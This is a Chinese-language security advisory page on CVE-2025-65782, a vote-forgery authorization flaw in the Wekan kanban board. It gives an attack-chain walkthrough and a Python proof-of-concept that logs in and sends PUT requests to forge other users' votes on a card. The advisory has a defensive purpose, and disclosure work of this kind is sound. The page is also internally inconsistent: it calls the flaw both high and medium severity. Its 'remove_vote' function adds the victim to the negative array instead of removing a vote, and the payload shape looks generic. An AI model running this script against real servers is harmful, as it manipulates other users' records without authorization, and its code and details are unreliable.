IPBUF安全漏洞报告
English
CVE-2025-65782 CVSS 6.5 中危

CVE-2025-65782 Wekan看板系统投票伪造漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-65782
漏洞类型
授权绕过/投票伪造
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wekan (Open Source kanban board)

相关标签

授权绕过投票伪造WekanCVE-2025-65782KanbanWeb应用漏洞开源软件

漏洞概述

CVE-2025-65782是Wekan开源看板系统中的一个高危授权绕过漏洞。该漏洞存在于卡片的更新处理逻辑中,允许已认证的Board成员(包括其他已认证用户)在未经适当授权的情况下,向vote.positive或vote.negative数组中添加或移除任意用户ID。此漏洞影响Wekan版本至18.15,于2025年11月2日在18.16版本中修复。攻击者可利用此漏洞进行投票伪造和未授权投票操作,严重威胁系统的数据完整性和投票机制的公正性。由于CVSS评分为6.5(中等严重程度),且攻击复杂度低、无需用户交互,漏洞利用门槛较低,对使用该系统的组织构成实质性风险。

技术细节

该漏洞根本原因在于Wekan在处理卡片更新请求时,未能正确验证操作用户对vote.positive和vote.negative数组的修改权限。系统错误地信任了客户端提交的投票数据,允许任何Board成员直接修改这些敏感数组。攻击者可通过构造恶意的API请求,在vote.positive或vote.negative字段中包含任意用户ID,从而为这些用户添加或移除投票。由于缺少服务端验证和授权检查,攻击者可以枚举用户ID并对任意用户的投票进行操纵。漏洞存在于Cards.update方法中,该方法在更新卡片数据时未对投票相关字段进行权限校验。攻击者只需具备有效的认证凭证和目标Board的成员资格,即可利用此漏洞。修复版本18.16增加了对投票操作的授权验证,确保只有投票者本人才能修改自己的投票记录。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过注册或获取有效账号,成为目标Wekan Board的成员,获取基础访问权限
STEP 2
步骤2: 目标识别
攻击者枚举Board中的卡片和用户列表,获取目标卡片ID和受害者用户ID
STEP 3
步骤3: 构造恶意请求
攻击者构造包含任意用户ID的vote.positive或vote.negative数组的PUT请求
STEP 4
步骤4: 权限绕过
利用Cards.update方法中缺少的授权检查,绕过服务器端验证
STEP 5
步骤5: 投票操纵
成功修改目标卡片的投票数组,为任意用户添加/移除投票,实现投票伪造

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65782 PoC - Wekan Vote Forgery # Target: Wekan instance up to version 18.15 TARGET_URL = "http://target-wekan-server.com" USERNAME = "attacker" PASSWORD = "password" BOARD_ID = "board_id" CARD_ID = "vulnerable_card_id" TARGET_USER_ID = "victim_user_id" def login(): """Authenticate and get session token""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/api/v1/login", json=login_data) return session, response.json().get("token") def forge_vote(session, token): """Forge vote by adding arbitrary user to vote.positive array""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload: add TARGET_USER_ID to vote.positive without authorization payload = { "boardId": BOARD_ID, "cardId": CARD_ID, "set": "votes", "update": { "vote": { "positive": [TARGET_USER_ID], "negative": [] } } } response = session.put( f"{TARGET_URL}/api/v1/boards/{BOARD_ID}/cards/{CARD_ID}", headers=headers, json=payload ) return response.status_code == 200 def remove_vote(session, token): """Remove victim's vote by modifying vote arrays""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "boardId": BOARD_ID, "cardId": CARD_ID, "set": "votes", "update": { "vote": { "positive": [], "negative": [TARGET_USER_ID] } } } response = session.put( f"{TARGET_URL}/api/v1/boards/{BOARD_ID}/cards/{CARD_ID}", headers=headers, json=payload ) return response.status_code == 200 if __name__ == "__main__": session, token = login() if forge_vote(session, token): print("[+] Vote forgery successful - user added to vote.positive") else: print("[-] Vote forgery failed")

影响范围

Wekan < 18.16
Wekan <= 18.15

防御指南

临时缓解措施
立即将Wekan升级到18.16版本以修复此授权绕过漏洞。在升级前,可通过限制Board成员权限、启用投票操作的详细审计日志、以及部署Web应用防火墙(WAF)规则来检测和阻止异常的投票修改请求来缓解风险。建议管理员审查所有卡片的投票记录,确认是否存在未授权的投票操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表